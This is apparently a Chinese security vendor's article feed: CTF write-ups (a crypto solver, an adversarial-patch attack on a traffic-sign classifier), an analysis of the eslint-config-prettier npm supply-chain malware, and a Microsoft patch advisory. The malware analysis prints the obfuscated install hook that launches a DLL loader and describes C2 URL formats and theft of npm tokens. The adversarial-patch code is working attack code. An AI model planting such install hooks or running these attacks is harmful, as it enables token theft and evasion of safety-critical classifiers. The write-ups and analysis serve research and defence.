str]:        # 多步骤正则表达式解析    probability_pattern = r'(?    hex64_pattern = r'\b[0-9a-fA-F]{64}\b'    hex_general_pattern = r'\b[0-9a-fA-F]+\b'       # 提取概率值    probability_matches = re.findall(probability_pattern, dump_content)    probabilities = [float(match) formatchin probability_matches]       # 提取64位十六进制值    hex64_values = re.findall(hex64_pattern, dump_content)        # 提取密文（非64位的十六进制）    all_hex_matches = re.findall(hex_general_pattern, dump_content)    ciphertext_candidates = [x for x in all_hex_matches                            iflen(x) % 2 == 0andlen(x) != 64]        ifnot ciphertext_candidates:        raise ValueError("未找到有效的密文数据")        final_ciphertext = ciphertext_candidates[-1]        # 数据完整性验证    iflen(probabilities) < 111orlen(hex64_values) < 111:        raise ValueError(f"数据不完整: 概率={len(probabilities)}, 十六进制={len(hex64_values)}")        # 构建测量对象列表    measurements = []    for i inrange(111):        measurement = QuantumMeasurement(            probability=probabilities[i],            hex_value=hex64_values[i]        )        measurements.append(measurement)        return measurements, final_ciphertextdefconvert_hex_to_bit_vector(hex_string: str) -> List[int]:    """将十六进制字符串转换为比特向量"""    ifnot CryptographicSolver.validate_hex_string(hex_string):        raise ValueError(f"无效的十六进制字符串: {hex_string}")        byte_data = bytes.fromhex(hex_string)    bit_vector = []        for byte_val in byte_data:        for bit_pos inrange(7, -1, -1):            bit_vector.append((byte_val >> bit_pos) & 1)        return bit_vector# 1) 使用高级解析器处理数据measurements, ciphertext_hex = advanced_data_parser(DUMP)# 预处理测量数据for measurement in measurements:    measurement.bit_vector = convert_hex_to_bit_vector(measurement.hex_value)    measurement.hamming_weight = round(measurement.probability * 256)# 构建矩阵数据Y_matrix = [m.bit_vector for m in measurements]  # 111 x 256 比特矩阵C_vector = [m.hamming_weight for m in measurements]  # 汉明重量向量Yw_vector = [sum(bit_vec) for bit_vec in Y_matrix]  # Y矩阵每行的汉明重量classIntegerLinearProgrammingSolver:    """整数线性规划求解器"""        def__init__(self, problem_name: str = "QuantumSecretRecovery"):        self.problem_name = problem_name        self.problem = None        self.variables = None        self.solution = None            defsetup_binary_variables(self, num_vars: int, var_prefix: str = "s") -> List[pulp.LpVariable]:        """设置二进制变量"""        variables = []        for j inrange(num_vars):            var = pulp.LpVariable(                f"{var_prefix}_{j}",                 lowBound=0,                 upBound=1,                 cat="Binary"            )            variables.append(var)        return variables        defconstruct_hamming_distance_constraints(self,                                              bit_matrix: List[List[int]],                                              hamming_weights: List[int],                                             matrix_weights: List[int]) -> pulp.LpProblem:        """构建汉明距离约束的ILP问题"""                # 创建优化问题        self.problem = pulp.LpProblem(self.problem_name, pulp.LpMinimize)                # 设置256个二进制变量（对应secret的每一位）        self.variables = self.setup_binary_variables(256)                # 添加汉明距离约束        constraint_count = 0        for constraint_idx inrange(len(bit_matrix)):            # 计算约束系数：对于每个比特位j，系数为(1-2*y_{ij})            constraint_coefficients = []            for bit_pos inrange(256):                coeff = 1 - 2 * bit_matrix[constraint_idx][bit_pos]                constraint_coefficients.append(coeff)                        # 右侧值：C_i - sum(y_i)            rhs_value = hamming_weights[constraint_idx] - matrix_weights[constraint_idx]                        # 构建约束表达式            constraint_expr = pulp.lpSum(                constraint_coefficients[j] * self.variables[j]                 for j inrange(256)            )                        # 添加等式约束            constraint_name = f"hamming_constraint_{constraint_idx}"            self.problem += (constraint_expr == rhs_value, constraint_name)            constraint_count += 1                # 设置目标函数（这里设为0，因为我们只需要满足约束）        self.problem += 0                print(f"构建了 {constraint_count} 个汉明距离约束")        returnself.problem        defsolve_optimization_problem(self, verbose: bool = False) -> bool:        """求解优化问题"""        ifself.problem isNone:            raise ValueError("问题尚未构建，请先调用construct_hamming_distance_constraints")                # 配置求解器        solver = pulp.PULP_CBC_CMD(msg=verbose)                # 求解        start_time = time.time()        status = self.problem.solve(solver)        solve_time = time.time() - start_time                if verbose:            print(f"求解耗时: {solve_time:.2f} 秒")            print(f"求解状态: {pulp.LpStatus[status]}")                # 检查求解状态        if pulp.LpStatus[status] != "Optimal":            raise RuntimeError(f"求解失败: {pulp.LpStatus[status]}")                # 提取解        self.solution = [int(var.value()) for var inself.variables]        returnTrue        defget_solution_bits(self) -> List[int]:        """获取解的比特向量"""        ifself.solution isNone:            raise ValueError("尚未求解或求解失败")        returnself.solution.copy()defverify_hamming_distances(secret_bits: List[int],                            bit_matrix: List[List[int]],                            expected_distances: List[int]) -> bool:    """验证汉明距离的正确性"""        defcompute_hamming_distance(vec1: List[int], vec2: List[int]) -> int:        """计算两个比特向量的汉明距离"""        returnsum(b1 ^ b2 for b1, b2 inzip(vec1, vec2))        verification_passed = True    for i inrange(len(bit_matrix)):        computed_distance = compute_hamming_distance(secret_bits, bit_matrix[i])        expected_distance = expected_distances[i]                if computed_distance != expected_distance:            print(f"验证失败 - 约束 {i}: 计算距离={computed_distance}, 期望距离={expected_distance}")            verification_passed = False        if verification_passed:        print("所有汉明距离约束验证通过！")        return verification_passed# 2) 使用ILP求解器恢复secretilp_solver = IntegerLinearProgrammingSolver()# 构建约束问题ilp_solver.construct_hamming_distance_constraints(    bit_matrix=Y_matrix,    hamming_weights=C_vector,     matrix_weights=Yw_vector)# 求解问题print("开始求解整数线性规划问题...")ilp_solver.solve_optimization_problem(verbose=True)# 获取解secret_bit_solution = ilp_solver.get_solution_bits()# 验证解的正确性print("验证解的正确性...")verify_hamming_distances(secret_bit_solution, Y_matrix, C_vector)classSecretReconstructor:    """Secret重构器 - 将比特向量转换为字节并解密"""        @staticmethod    defbits_to_bytes_advanced(bit_vector: List[int], byte_count: int = 32) -> bytearray:        """高级比特到字节转换"""        iflen(bit_vector) != byte_count * 8:            raise ValueError(f"比特向量长度错误: 期望{byte_count * 8}, 实际{len(bit_vector)}")                secret_bytes = bytearray()                # 按字节处理比特向量        for byte_idx inrange(byte_count):            byte_value = 0            byte_start = byte_idx * 8                        # 处理当前字节的8个比特            for bit_offset inrange(8):                bit_position = byte_start + bit_offset                bit_value = bit_vector[bit_position]                                # 左移并设置比特                byte_value = (byte_value << 1) | bit_value                        secret_bytes.append(byte_value)                return secret_bytes        @staticmethod    defcompute_multiple_hashes(data: bytes) -> dict:        """计算多种哈希值用于调试"""        hashes = {            'md5': md5(data).digest(),            'sha256': sha256(data).digest()[:16]  # 截取前16字节与MD5长度一致        }        return hashes        @staticmethod    defdecrypt_with_aes_ctr(ciphertext_hex: str,                            secret_key: bytes,                            nonce: bytes = b"suan") -> bytes:        """使用AES-CTR模式解密"""        try:            # 验证输入            ifnot CryptographicSolver.validate_hex_string(ciphertext_hex):                raise ValueError(f"无效的密文十六进制: {ciphertext_hex}")                        # 转换密文            ciphertext_bytes = bytes.fromhex(ciphertext_hex)                        # 计算密钥哈希            key_hashes = SecretReconstructor.compute_multiple_hashes(secret_key)            encryption_key = key_hashes['md5']  # 使用MD5作为AES密钥                        # 创建AES-CTR解密器            aes_cipher = AES.new(                key=encryption_key,                 nonce=nonce,                 mode=AES.MODE_CTR            )                        # 执行解密            decrypted_data = aes_cipher.decrypt(ciphertext_bytes)                        return decrypted_data                    except Exception as e:            raise RuntimeError(f"解密过程中发生错误: {str(e)}")defmain_decryption_workflow():    """主解密工作流程"""    print("\n=== 开始Secret重构和解密流程 ===")        # 5) 将比特向量转换为字节    print("步骤5: 转换比特向量为字节数组...")    reconstructor = SecretReconstructor()        try:        secret_bytes = reconstructor.bits_to_bytes_advanced(secret_bit_solution, 32)        print(f"重构的secret (hex): {secret_bytes.hex()}")        print(f"Secret长度: {len(secret_bytes)} 字节")                # 计算并显示哈希信息        hash_info = reconstructor.compute_multiple_hashes(bytes(secret_bytes))        print(f"Secret的MD5: {hash_info['md5'].hex()}")        print(f"Secret的SHA256(前16字节): {hash_info['sha256'].hex()}")            except Exception as e:        print(f"Secret重构失败: {e}")        returnNone        # 6) 解密最终密文    print("\n步骤6: 解密最终密文...")    try:        decrypted_flag = reconstructor.decrypt_with_aes_ctr(            ciphertext_hex=ciphertext_hex,            secret_key=bytes(secret_bytes),            nonce=b"suan"        )                # 尝试解码为文本        try:            flag_text = decrypted_flag.decode('utf-8')            print(f"\nFLAG: {flag_text}")        except UnicodeDecodeError:            # 如果UTF-8解码失败，尝试其他编码或显示原始字节            flag_text = decrypted_flag.decode('utf-8', errors='ignore')            print(f"\n 解密FLAG (忽略错误): {flag_text}")            print(f"原始字节: {decrypted_flag.hex()}")                return flag_text            except Exception as e:        print(f"解密失败: {e}")        returnNone# 执行主解密流程final_flag = main_decryption_workflow()# 兼容性输出（保持与原代码相同的输出格式）if final_flag:    print(f"\nFLAG = {final_flag}")else:    print("\n解密过程失败，无法获取FLAG")

车联网

和我的保险说去吧！

GTSRB的数据，缺32的分类，下载了GTSRB的图片，将ppm转为jpg

import osimport numpy as npimport PILimport matplotlib.pyplot as pltimport pandas as pddefconvert_train_data(file_dir):    root_dir = './32jpg/'    directories = [file for file in os.listdir(file_dir)  if os.path.isdir(os.path.join(file_dir, file))]    for files in directories:        path = os.path.join(root_dir,files)        ifnot os.path.exists(path):            os.makedirs(path)        data_dir = os.path.join(file_dir, files)        file_names = [os.path.join(data_dir, f) for f in os.listdir(data_dir)  if f.endswith(".ppm")]        for f in os.listdir(data_dir):            if f.endswith(".csv"):                csv_dir = os.path.join(data_dir, f)        csv_data = pd.read_csv(csv_dir)        csv_data_array = np.array(csv_data)        for i inrange(csv_data_array.shape[0]):            csv_data_list = np.array(csv_data)[i,:].tolist()[0].split(";")            sample_dir = os.path.join(data_dir, csv_data_list[0])            img = PIL.Image.open(sample_dir)            box = (int(csv_data_list[3]),int(csv_data_list[4]),int(csv_data_list[5]),int(csv_data_list[6]))            roi_img = img.crop(box)            new_dir = os.path.join(path, csv_data_list[0].split(".")[0] + ".jpg")            roi_img.save(new_dir, 'JPEG')defconvert_test_data(file_dir):    root_dir = './32jpg/'    for f in os.listdir(file_dir):        if f.endswith(".csv"):            csv_dir = os.path.join(file_dir, f)    csv_data = pd.read_csv(csv_dir)    csv_data_array = np.array(csv_data)    for i inrange(csv_data_array.shape[0]):        csv_data_list = np.array(csv_data)[i, :].tolist()[0].split(";")        sample_dir = os.path.join(file_dir, csv_data_list[0])        img = PIL.Image.open(sample_dir)        box = (int(csv_data_list[3]), int(csv_data_list[4]), int(csv_data_list[5]), int(csv_data_list[6]))        roi_img = img.crop(box)        new_dir = os.path.join(root_dir, csv_data_list[0].split(".")[0] + ".jpg")        roi_img.save(new_dir, 'JPEG')if __name__ == "__main__":    train_data_dir = './GTSRB32/Final_Training/Images/'    convert_train_data(train_data_dir)

尝试对32的图片都爆破一下

import flaskimport torchfrom torch.utils.data import DataLoaderfrom torchvision import datasets, modelsfrom PIL import Imagefrom torchvision import transformsimport osapp = flask.Flask(__name__)device = 'cpu'model = models.resnet18(weights=None, num_classes=43)model.load_state_dict(torch.load("./model.pth", weights_only=True, map_location="cpu"))model.to(device)model.eval()dataset = datasets.ImageFolder(root='./dataset')defapply_patch(img, patch_img):    img = transforms.ToTensor()(img)    img = transforms.Resize((224, 224))(img)    h = torch.randint(0, img.shape[1]-patch_img.shape[1], (1,)).item()    w = torch.randint(0, img.shape[2]-patch_img.shape[2], (1,)).item()    img[:, h:h+patch_img.shape[1], w:w+patch_img.shape[2]] = patch_img    img = transforms.Normalize([0.3403, 0.3121, 0.3214], [0.2724, 0.2608, 0.2669])(img)    return imgdefcheck_pic(png_addr):    try:        patch_img = Image.open(png_addr).convert('RGB')        patch_img = transforms.Resize((64, 64))(patch_img)        patch_img = transforms.ToTensor()(patch_img)    except Exception as e:        print(str(e))    cnt = 0    not_cnt = 0    for img, _ in dataset:            img = apply_patch(img, patch_img)        img = img.unsqueeze(0).to(device)        pred = model(img).argmax(dim=-1)        if pred == 32:            cnt += 1        else:            not_cnt += 1        if not_cnt / len(dataset) > 0.25:            returnFalse            if cnt / len(dataset) > 0.75:        print(png_addr)        print("success")        exit(0)    else:        print( "Sorry, you failed")deftraverse_path(find_path,mode="all"):    # 遍历file_path下所有文件，包括子目录    files = os.listdir(find_path)    for file in files:        file_full = os.path.join(find_path, file)        if os.path.isdir(file_full):            if mode == "one":                continue            elif mode == "all":                # print file_full                traverse_path(file_full,mode="all")        else:            ends=[".png",".jpg",".jpeg"]            ifany([file_full.lower().endswith(end) for end in ends]):                print(file_full)                check_pic(file_full)traverse_path("./32jpg",mode="all")

所有的图片试了都不行，那就只能搞对抗训练生成了。

import torchimport torch.nn as nnimport torch.optim as optimfrom torchvision import datasets, transforms, modelsfrom torch.utils.data import DataLoaderfrom PIL import Imageimport numpy as npdevice = 'cuda'if torch.cuda.is_available() else'cpu'model = models.resnet18(weights=None, num_classes=43)model.load_state_dict(torch.load("./model.pth", map_location=device))model.to(device)model.eval()mean = [0.3403, 0.3121, 0.3214]std = [0.2724, 0.2608, 0.2669]normalize = transforms.Normalize(mean=mean, std=std)defapply_patch_train(img_tensor, patch_tensor):    resize = transforms.Resize((224, 224))    img_tensor = resize(img_tensor)    h = torch.randint(0, 224 - 64, (1,)).item()    w = torch.randint(0, 224 - 64, (1,)).item()    img_tensor[:, h:h+64, w:w+64] = patch_tensor    img_tensor = normalize(img_tensor)    return img_tensorpatch = torch.rand((3, 64, 64), requires_grad=True, device=device)optimizer = optim.Adam([patch], lr=0.01)criterion = nn.CrossEntropyLoss()transform = transforms.Compose([    transforms.ToTensor(),])dataset = datasets.ImageFolder(root='./dataset', transform=transform)dataloader = DataLoader(dataset, batch_size=1, shuffle=True)num_epochs = 10for epoch inrange(num_epochs):    total_loss = 0    for images, _ in dataloader:        image = images[0].to(device)         processed_img = apply_patch_train(image, patch).unsqueeze(0)         output = model(processed_img)        target = torch.tensor([32], device=device)         loss = criterion(output, target)        optimizer.zero_grad()        loss.backward()        optimizer.step()        with torch.no_grad():            patch.clamp_(0, 1)        total_loss += loss.item()    print(f'Epoch {epoch}, Average Loss: {total_loss / len(dataloader)}')patch_np = patch.detach().cpu().permute(1, 2, 0).numpy() * 255patch_np = patch_np.astype(np.uint8)patch_image = Image.fromarray(patch_np)patch_image.save('patch.png')print("Patch saved as patch.png")

获得生成的图像

提交即可获得flag

阅读原文

跳转微信打开

一图看懂｜山石网科2025半年报

Tue, 26 Aug 2025 19:15:00 +0800

山石网科 2025-08-26 19:15 北京

“双A战略”引领效率稳步提升

阅读原文

跳转微信打开

下载量达 3000 万次的 npm 软件包如何传播恶意软件

Thu, 21 Aug 2025 14:50:00 +0800

原创 zhi0yuan 2025-08-21 14:50 北京

从npm包到恶意加载器：Scavenger正隐身入侵您的开发环境！

JounQin 是多个热门 npm 包（包括 eslint-config-prettier）的维护者，他的 npm 账户在一次网络钓鱼攻击中被盗。攻击者利用该被盗账户发布了 6 个包含恶意代码的 eslint-config-prettier 版本，以及另外 3 个该账户可访问的 npm 包。受影响的这些包总下载量约为每周 7800 万次，而该被盗账户所拥有权限的所有包，每周总下载量约达 1.8 亿次。此事件分配的CVE为CVE-2025-54313。

一、时间线

2025年7月18日，GitHub 用户 dasa 在 eslint-config-prettier 仓库中提交了issue#339，披露该项目在 npm 上出现了异常的新版本发布。对其中一个新发布版本使用npm package diff进行查差异对比后，确实发现了一些异常和可疑之处。特别是在 10.1.7 版本的 package.json 文件中，新增了一个安装脚本。

2025年7月19日，eslint-config-prettier 的维护者 JounQin 发推文披露，他在一次电子邮件钓鱼攻击中受骗，攻击者借此获取了他所维护的多个 npm 项目的发布权限。随后，有多个 npm 包被发布了包含恶意代码的版本，其中影响最大的是 eslint-config-prettier，根据 npm 数据，其每周下载量高达 3100 万次。

JounQin的推文还发布了受到影响的软件包。

eslint-config-prettier
影响版本: 8.10.1 、9.1,1、10.1.6、10.1.7
eslint-plugin-prettier
影响版本: 4.2.2、4.2.3
snyckit
影响版本: 0.11.9
@pkgr/core
影响版本: 0.2.8
napi-postinstall
影响版本: 0.3.1

二、有何影响

截至目前的分析表明，被篡改的包中嵌入了一个 PE32+ 二进制文件 node-gyp.dll，其作用是投递名为 Scavenger 的恶意软件。这使得此次攻击仅限于影响 Windows 系统。由于恶意载荷的特性，GNU/Linux 发行版和 macOS 设备不太可能受到影响。被感染的系统很可能会被植入 Scavenger 恶意软件，攻击者可借此窃取文件、获取凭证，并执行其他恶意行为。

三、技术分析

在eslint-config-prettier包10.1.7版本中，添加了一个名为install.js的后门安装脚本，该脚本包含了一个在npm包安装时，执行的一个名为logDiskSpace()函数。

+function logDiskSpace() {+    try {+        if(os.platform() === 'win32') {+            const tempDir = os.tmpdir();+            require('chi'+'ld_pro'+'cess')["sp"+"awn"]("rund"+"ll32", +            [path.join(__dirname, './node-gyp' + '.dll') + ",main"]);+            log(`Temp directory: ${tempDir}`);+            const files = cache.readdirSync(tempDir);+            log(`Number of files in temp directory: ${files.length}`);+        }+    } catch (err) {+        summary.errors++;+        log(`Error accessing temp directory: ${err.message}`);+    }+}

该logDiskSpace函数检查平台是否是win32，如果是将创建一个子进程，使用rundll32.exe执行附带的node-gyp.dll。

（一）Scavenger恶意软件加载

该 DLL 是一种加载型恶意软件的变种，使用 Microsoft Visual Studio C++ 编写，并于 2025 年 7 月 18 日 08:59:38 编译完成（正是恶意包被发布的同一天）。该 DLL 的导出名称为 loader.dll。当通过 rundll32.exe 执行时，其入口点会启动一个独立线程，用于执行核心加载功能。恶意行为主要集中在一个庞大的单一函数中，并包含多种反分析技术，包括：

虚拟机（VM）检测规避；
杀毒软件检测；
运行时函数的动态解析；
使用 XOR 进行字符串解密；
通过 hook 修补，绕过杀毒软件与终端检测响应（EDR）系统。

这些技术使得该恶意软件更难被发现与分析。

（二）虚拟机检测规避

该加载器会尝试判断自己是否运行在虚拟环境中，方法是调用 GetSystemFirmwareTable 函数，并将 FirmwareTableProviderSignature 参数设置为 RSMB，以获取原始的 SMBIOS 固件表提供者，通过这个接口，恶意代码可以枚举 SMBIOSTableData，查找是否存在常见虚拟机的 BIOS 名称，例如VMware、QEMU等，从而判断是否处于虚拟机环境中。

（三）杀毒软件检测

加载程序还会枚举以下 DLL 的进程空间：

snxhk.dll（Avast 的钩子库）
Sf2.dll（Avast 相关）
SxIn.dll（奇虎360）
SbieDll.dll（沙盒）
cmdvrt32.dll（Comodo 防病毒软件）
winsdk.dll
winsrv_x86.dll
Harmony0.dll（可能与 lib.harmony 修补项目有关）
Dumper.dll（可能与内存转储有关）
vehdebug-x86_64.dll（与 CheatEngine 相关）

（四）其他反分析检查

该恶意加载器还使用了多种技术手段来规避虚拟环境或分析环境，具体包括：

处理器数量检测
通过调用 NtQuerySystemInformation 函数获取 BASIC_SYSTEM_INFORMATION 结构体，并检查其中的 NumberOfProcessors 字段。只有当处理器数量超过 3 个时，才会继续执行。这是为了规避通常配置较低的虚拟机或沙箱环境。
控制台检测
尝试使用 WriteConsoleW 向控制台写入“0 字节”的数据，并根据操作是否成功来判断是否运行在真实的控制台环境中。分析沙箱或重定向输出的环境中，这种调用可能会失败。
自我存在性检查
检查 %TEMP%\SCVNGR_VM 目录是否已存在。如果该目录已存在，说明该恶意软件可能已经在该系统上运行过。

如果任何一项检查成功，加载器就会故意引发空指针异常，从而导致加载器崩溃。

（五）函数哈希解析、Hook识别与反Hook处理

除了前面提到的反分析技术，该恶意样本还使用了基于 CRC32 和自定义值表的动态函数解析机制，来获取运行时所需的所有函数地址。

与常见恶意软件不同，这个样本并不会在启动时一次性解析所有函数，而是每次需要用到某个函数时就临时动态解析一次，这在恶意代码中较为罕见，可能是为了进一步规避静态分析或内存特征匹配。

Scavenger Loader 会使用间接系统调用方式来调用以下关键函数：

NtSetInformationThread：用于设置 ThreadHideFromDebugger 标志，以隐藏线程不被调试器检测；
NtQuerySystemInformation：用于获取系统信息，如前文所述的处理器数量等。

间接系统调用的解析与构造步骤如下：

从 ntdll.dll 动态解析目标函数地址；
使用 NtAllocateVirtualMemory 分配一段新的内存缓冲区；
在新分配的内存首地址写入指令 mov r10, rcx（这是系统调用的标准前置指令）；
将 ntdll 中目标函数的原始字节（从 syscall 指令前开始）复制到新缓冲区的第二个偏移位置，直到找到 syscall 指令，以获取对应的 syscall 编号；
最后，在缓冲区末尾写入 syscall 和 retn 指令，形成完整的函数封装；
后续通过该缓冲区地址进行函数调用，实现“无 ntdll 直接跳转”的间接系统调用。

（六）字符串解密

所有字符串都使用了 https://github.com/JustasMasiulis/xorstr 项目进行保护。该项目会在编译期对字符串进行 XOR 加密，将恶意程序中原本的字符串常量替换为运行时的解密逻辑。

这意味着在整个二进制程序中，所有原始字符串（如函数名、路径、关键字等）都不会以明文形式出现，而是通过 XOR 加密存储，在需要时由代码动态解密。这是一种常见的反分析技术，用于隐藏恶意行为。

为了分析这种加密的字符串，可以使用下面这段适用于 64 位程序的 Binary Ninja 脚本对其进行解密：

import structimport binaryninjaimport sysimport json# Let's capture each assignment instructiondef match_LowLevelIL_18002def6_0(insn):    # rax = 0x17662843e35b915e    if insn.operation != binaryninja.LowLevelILOperation.LLIL_SET_REG:        returnFalse    if insn.dest.name != 'rax':        returnFalse    # 0x17662843e35b915e    if insn.src.operation != binaryninja.LowLevelILOperation.LLIL_CONST:        returnFalse    returnTruebinary = sys.argv[1]# The obfuscator makes these functions huge, so we need to adjust the defaults and only do basic analysis to get LLILbv = binaryninja.load(binary, options={'analysis.mode': 'basic', 'analysis.limits.maxFunctionSize': 100000000, 'pdb.features.parseSymbols': False})bb_start = set()# Here we capture each assignment from each basic block# that meets our criteria. Limit each "stack' to a basic blockfor func in bv.functions:    #print(f"Function: {hex(func.start)}")    for bb in func.llil:        for instr in bb:            if match_LowLevelIL_18002def6_0(instr):               bb_start.add(instr.il_basic_block[0].address)# We then filter each "stack" to use only those with high# amount of assignments (encrypted strings)high_assigns = []stack = []for start in bb_start:    stack = []    for cbb in bv.get_functions_containing(start)[0].llil:        if cbb[0].address == start:            for instr in cbb:                if match_LowLevelIL_18002def6_0(instr):                    stack.append(instr)    if len(stack) >= 4:        high_assigns.append(stack)result = {}for stack in high_assigns:    # Each captured stack is effectively made up of one half of keys    # and the other half of ciphertext. So we just need to iterate    # over each half respectively to cover each string.    slen = len(stack)//2    rqs = []    cts = stack[:slen]    keys = stack[slen:]    for i, ct in enumerate(cts):        rqs.append(ct.src.constant ^ keys[i].src.constant)    print(f"Result for: {stack[0].address:2x}: {(struct.pack('Q'*len(rqs), *rqs)).decode('ascii')}")    result[hex(stack[0].address)] = (struct.pack('Q'*len(rqs), *rqs)).decode('ascii').split("\x00")[0]f = open(f'{sys.argv[1]}.json', 'w')f.write(json.dumps(result))f.close()

（七）加载器功能分析

在通过所有反分析检测（如虚拟机检查、控制台检测、Hook规避等）后，Scavenger 加载器会进入其核心功能阶段：与 C2（命令与控制）服务器通信，并下载适配的恶意模块。

所有反分析检查通过后，加载程序将使用 C++ libcurl 库向一组硬编码的 C2 地址执行 HTTP GET 请求，URL 格式如下：https://{C2 Domain}/c/k2/。如果任何请求失败，加载程序将继续请求列表中的下一个 C2 域名，直到收到有效响应。响应预期为一个 Base64 编码的密钥，该密钥被解码后附加到硬编码值 N63r2SLz 上，以创建会话密钥，用于使用 XXTEA 分组密码加密和解密命令与控制 (C2) 通信。

然后，加载器继续以 https[:]//{C2 Domain}/c/v?v={Pseudo-Random Value} 的格式发出第二个 C2 请求，C2 会返回一个响应，其中包含使用给定会话密钥加密的指定值。加载器随后使用 XXTEA 解密该值，并检查其是否与指定值匹配。如果不匹配，加载器将执行与反分析检查相同的崩溃机制。

然后，加载器以以下格式执行 GET 请求：https[:]//{C2 Domain}/pl?=-&t={Epoch Time Integer}&s={XXTEA Encrypted Epoch Time Integer}。此请求向加载器提供了多个可用的有效载荷，其中包含一个 Base64 编码的 XXTEA 加密 blob。解密后的载荷包含以下 JSON 数据：

[  {    "enabled": true,    "identifier": "shiny",    "drop_name": "version.dll",    "next_to_match": "notification_helper.exe",    "next_to_extra_nav": "\\..\\..\\",    "next_to_extra_nav_confirmation": "anifest.xml"  },  {    "enabled": true,    "identifier": "electric",    "drop_name": "umpdc.dll",    "next_to_match": "electrum\\servers.json",    "next_to_extra_nav": "\\..\\..\\",    "next_to_extra_nav_confirmation": ""  },  {    "enabled": true,    "identifier": "exodus",    "drop_name": "profapi.dll",    "next_to_match": "\\Exodus.exe",    "next_to_extra_nav": "\\..",    "next_to_extra_nav_confirmation": "v8_context_snapshot.bin"  }]

此 JSON 配置提供了各种有效载荷选项，这些选项可能根据加载程序感染的系统环境进行选择。根据我们目前的观察，每个有效载荷都是一个窃取模块，它将根据其执行的环境收集信息。然后，加载程序可以使用以下 URL 格式下载模块：https://{C2 Domain}/pdl?p={Identifier Name}&t={Epoch Time Integer}&s={XXTEA Encrypted Epoch Time Integer}。这将导致使用 XOR 密钥 FuckOff 加密的模块，该模块将使用 GetTempFileNameA 生成的文件名写入 %TEMP%。然后，临时文件将被读入内存，使用硬编码的 XOR 密钥 FuckOff 解密，并将其写入其各自配置的位置，以便进行 DLL 侧加载或由第三方应用程序执行。

（八）窃取功能

加载器功能完成后，Scavenger Loader 还会从用户系统中读取 npmrc 文件，并以 GET 请求的形式将其发送到 C2 服务器，格式为：https:{C2 Domain}/c/a?={npmrc Base64-Encoded XXTEA Encrypted Data}。这些配置文件通常包含身份验证令牌，可能导致进一步的攻击。

五、IOCs

1. Stealer

0254abb7ce025ac844429589e0fec98a84ccefae38e8e9807203438e2f3879501aeab6b568c22d11258fb002ff230f439908ec376eb87ed8e24d102252c83a6e5bed39728e404838ecd679df65048abcb443f8c7a9484702a2ded60104b8c4a975c0aa897075a7bfa64d8a55be636a6984e2d1a5a05a54f0f01b0eb4653e9c7a8c8965147d5b39cad109b578ddb4bfca50b66838779e6d3890eefc4818c79590

2. Loader

90291a2c53970e3d89bacce7b79d5fa540511ae920dd4447fc6182224bbe05c59ec86514d5993782d455a4c9717ec4f06d0dfcd556e8de6cf0f8346b8b8629d4c68e42f416f482d43653f36cd14384270b54b68d6496a8e34ce887687de5b441dd4c4ee21009701b4a29b9f25634f3eb0f3b7f4cc1f00b98fc55d784815ef35b

3. Command-and-Control URLs

https[:]//ac7b2eda6f14.datahog[.]su/2w3e98t5zh298w3tzhg7982w3t4eghttps[:]//datacrab-analytics[.]comhttps[:]//datahog[.]suhttps[:]//datalytica[.]suhttps[:]//dieorsuffer[.]comhttps[:]//firebase[.]suhttps[:]//smartscreen-api[.]com

https://npmdiff.dev/eslint-config-prettier/10.1.5/10.1.7

https://malpedia.caad.fkie.fraunhofer.de/details/win.scavenger

https://invokere.com/posts/2025/07/scavenger-malware-distributed-via-eslint-config-prettier-npm-package-supply-chain-compromise/

https://c-b.io/2025-07-20+-+Install+Linters%2C+Get+Malware+-+DevSecOps+Speedrun+Edition

现阶段，山石网科掌握30项自主研发核心技术，申请570多项国内外专利。山石网科于2019年起，积极布局信创领域，致力于推动国内信息技术创新，并于2021年正式启动安全芯片战略。2023年进行自研ASIC安全芯片的技术研发，旨在通过自主创新，为用户提供更高效、更安全的网络安全保障。目前，山石网科已形成了具备“全息、量化、智能、协同”四大技术特点的涉及基础设施安全、云安全、数据安全、应用安全、安全运营、工业互联网安全、信息技术应用创新、AI安全、安全服务、安全教育等10大类产品及服务，50余个行业和场景的完整解决方案。

阅读原文

跳转微信打开

微软2025年8月补丁日重点漏洞安全预警

Thu, 14 Aug 2025 17:37:00 +0800

原创 NEURON 2025-08-14 17:37 江苏

微软官方发布8月安全更新，请及时安装补丁修复。

微软官方发布8月安全更新‍

请及时安装补丁修复

补丁概述

2025年8月12日，微软官方发布了8月安全更新，针对111个Microsoft CVE和8个non-Microsoft CVE进行修复。Microsoft CVE中，包含16个严重漏洞（Critical）、91个重要漏洞（Important）、2个中危漏洞（Moderate）和1个低危漏洞（Low）。从漏洞影响上看，有43个特权提升漏洞、35个远程执行代码漏洞、18个信息泄漏漏洞、9个欺骗漏洞、4个拒绝服务漏洞和1个篡改漏洞。

111个漏洞中，暂无漏洞被发现在野利用，CVE-2025-53779被公开披露，有9个更有可能被利用的漏洞。

本次安全更新涉及多个Windows主流版本，包括Windows 11、Windows 10、Windows Server 2025等；涉及多款主流产品和组件，如Windows 路由和远程访问服务（RRAS）、角色：Windows Hyper-V、WinSock 的 Windows 辅助功能驱动程序、SQL Server、Microsoft Exchange Server、Microsoft Office Excel等。

重点关注漏洞

在野利用和公开披露漏洞

CVE-2025-53779：Windows Kerberos 特权提升漏洞，已被公开披露。Windows Kerberos 中的相对路径遍历允许授权攻击者通过网络提升权限，为了成功利用此漏洞，攻击者需要提升对 dMSA 某些属性的访问权限，成功利用此漏洞的攻击者可以获得域管理员特权。

利用可能性较大的漏洞

CVE-2025-53778：Windows NTLM 特权提升漏洞，被标记为严重（Critical）漏洞。不正确的身份验证（CWE-287），Windows NTLM 中的身份验证不当允许授权攻击者在本地或通过网络提升权限。

CVE-2025-50177：Microsoft 消息队列（MSMQ）远程代码执行漏洞，被标记为严重（Critical）漏洞。在 Windows 消息队列中释放后使用允许未经授权的攻击者通过网络执行代码。为了利用此漏洞，攻击者需要通过 HTTP 以快速序列向 MSMQ 服务器发送一系列特制的 MSMQ 数据包，利用此漏洞需要赢得竞争条件。

CVE-2025-53132：Win32k 特权提升漏洞。在 Windows Win32K 中使用同步不正确的共享资源并发执行 - GRFX 允许授权攻击者通过网络提升权限，成功利用此漏洞的攻击者可以获得系统特权。

CVE-2025-53786：Microsoft Exchange Server 混合部署特权提升漏洞。因为 Exchange Server 和 Exchange Online 在混合配置中共享相同的服务主体，所以在 Exchange 混合部署中，首先获得本地 Exchange 服务器管理访问权限的攻击者可能会在组织的连接云环境中提升特权，而不会留下可检测到的和可审核的痕迹。

CVE-2025-50168：Win32k 特权提升漏洞。在 Windows Win32K 中使用不兼容类型（“类型混淆”）访问资源 - ICOMP 允许授权攻击者在本地提升权限，成功利用此漏洞的攻击者可以获得系统特权。

